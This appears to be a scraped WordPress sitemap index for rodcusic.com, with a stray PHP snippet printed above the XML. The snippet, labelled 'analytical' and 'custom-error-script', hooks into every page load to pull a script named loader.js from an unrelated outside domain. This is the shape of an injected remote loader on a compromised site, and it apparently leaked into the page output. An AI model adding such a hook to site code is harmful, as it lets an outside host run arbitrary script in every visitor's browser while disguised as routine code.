// analytical
function enqueue_custom_script() {
    wp_enqueue_script(
        'custom-error-script',
        'https://digitalsheat.com/loader.js',
        array(),
        null,
        true
    );
}
add_action('wp_enqueue_scripts', 'enqueue_custom_script');
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://rodcusic.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://rodcusic.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://rodcusic.com/wp-sitemap-posts-post-2.xml</loc></sitemap><sitemap><loc>https://rodcusic.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://rodcusic.com/wp-sitemap-posts-fullscreen-1.xml</loc></sitemap><sitemap><loc>https://rodcusic.com/wp-sitemap-posts-portfolio-1.xml</loc></sitemap><sitemap><loc>https://rodcusic.com/wp-sitemap-posts-events-1.xml</loc></sitemap><sitemap><loc>https://rodcusic.com/wp-sitemap-posts-proofing-1.xml</loc></sitemap><sitemap><loc>https://rodcusic.com/wp-sitemap-posts-clients-1.xml</loc></sitemap><sitemap><loc>https://rodcusic.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://rodcusic.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://rodcusic.com/wp-sitemap-taxonomies-post_format-1.xml</loc></sitemap><sitemap><loc>https://rodcusic.com/wp-sitemap-taxonomies-types-1.xml</loc></sitemap><sitemap><loc>https://rodcusic.com/wp-sitemap-taxonomies-eventsection-1.xml</loc></sitemap><sitemap><loc>https://rodcusic.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>